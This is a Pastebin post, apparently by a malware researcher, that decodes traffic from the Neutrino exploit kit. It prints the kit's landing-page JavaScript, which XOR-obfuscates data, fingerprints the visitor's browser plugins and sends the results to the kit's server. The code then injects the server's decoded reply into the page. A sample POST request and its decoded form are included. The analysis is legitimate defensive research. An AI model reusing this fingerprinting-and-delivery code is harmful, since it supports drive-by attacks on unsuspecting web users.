malforsec

Neutrino - POST req decode 2

Jul 30th, 2013
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.86 KB | None | 0 0
  1. @malforsec 2013-07-30
  2. # Neutrino findings
  3.  
  4. URLQuery report: 3958403
  5. #XOR function change names frequently
  6. function por(a, c) {
  7. for (var f = "", e = 0, g = 0, e = 0; e < a.length; e++) g = Math.floor(e % c.length), f += String.fromCharCode(a.charCodeAt(e) ^ c.charCodeAt(g));
  8. return f
  9.  
  10. #landing
  11. < script type = "text / javascript " >
  12. $(document).ready(function() {
  13. rq("51eeb117aaa2cc3a0a043b5b ", " # @malforsec: hid
  14. hrcaiswb ", " # @malforsec: xorkey value
  15. utepy ", " # @malforsec: POST URL
  16. ntterncqfshdg ", " # @malforsec: xorkey var name
  17. gcaszhjc ") # @malforsec: PluginDetect info var name
  18. });
  19.  
  20. function rq(a, c, f, e, g) {
  21. var d = PluginDetect.getVersion,
  22. b = [];
  23. b.push("hid::: " + a);
  24. b.push("adobe_reader::: " + d("AdobeReader "));
  25. b.push("java::: " + d("Java "));
  26. b.push("flash::: " + d("Flash "));
  27. b.push("quick_time::: " + d("QuickTime "));
  28. b.push("real_player::: " + d("RealPlayer "));
  29. b.push("shockwave::: " + d("Shockwave "));
  30. b.push("silver_light::: " + d("Silverlight "));
  31. b.push("vlc::: " + d("VLC "));
  32. b.push("wmp::: " + d("WMP "));
  33. b.push("office::: " + office_ver());
  34. a = {};
  35. a[e] = c;
  36. a[g] = encodeURIComponent(por(b.join(";;;"), c));
  37. $.post(f, a, function(a, b) {
  38. $("body ").append(por(decodeURIComponent(a), c))
  39. })
  40. }
  41.  
  42. function por(a, c) {
  43. for (var f = "", e = 0, g = 0, e = 0; e < a.length; e++) g = Math.floor(e % c.length), f += String.fromCharCode(a.charCodeAt(e) ^ c.charCodeAt(g));
  44. return f
  45. }
  46.  
  47. function office_ver() {
  48. var a = 0,
  49. c = 0;
  50. try {
  51. a = new ActiveXObject("SharePoint.OpenDocuments.4 ")
  52. } catch (f) {}
  53. try {
  54. c = new ActiveXObject("SharePoint.OpenDocuments.3 ")
  55. } catch (e) {}
  56. return "object " == typeof a && "object " == typeof c ? "2010 " : "number " == typeof a && "object " == typeof c ? "2007 " : null
  57. };
  58. < /script>
  59.  
  60. #POST to server
  61. ntterncqfshdg=hrcaiswb&gcaszhjc=%2500%251B%2507%255BSIBS%250D%2517%2501PXD%2516%2503%2509%2540%2500%2502Z%2512G%2503XFP%2503%255C%2511LYS%2513%2507%250E%250B%2516(%2510%250D%2513%2507%2504%251BIMXP%255ESMY_CW%255EIXZ%2503%2512%2501%2503RHYPEE%255BRD%2540UZRH%2511%250E%:%2501%250B%255BSIFRDBOU%255C_EYSI%2512%2514%2500%2510%251C%253D%251C%251B%250E%2504SIM%250C%251D%251E%250FZRH%2505%2507%2509%251E%253C%2511%2505%2512%250E%2507%251AHY%255B%2507%2506%251B%250ESIX%2512%2501%251C%2514%2509%251F%2513%2515%2504SIM%250C%251D%251E%250FZRH%2504%250B%2504%2504%2506%25136%251F%251E%2505%2500%2506Y%255BS%251D%2502%250E%2504IXZ%251F%251F%2514XRH%250D%2514%2505%251FLYS%2505%250E%2511SIM%250C%251D%251E%250FZRH%2518%2504%250E%251B%2500%2504SIM%250C%251D%251E%250F
  62.  
  63.  
  64. #Decoded POST
  65. hid:::51eeb117aaa2cc3a0a043b5b;;;adobe_reader:::8,0,0,456;;;java:::1,6,0,26;;;flash:::10,0,45,2;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null
Advertisement
Add Comment
Please, Sign In to add comment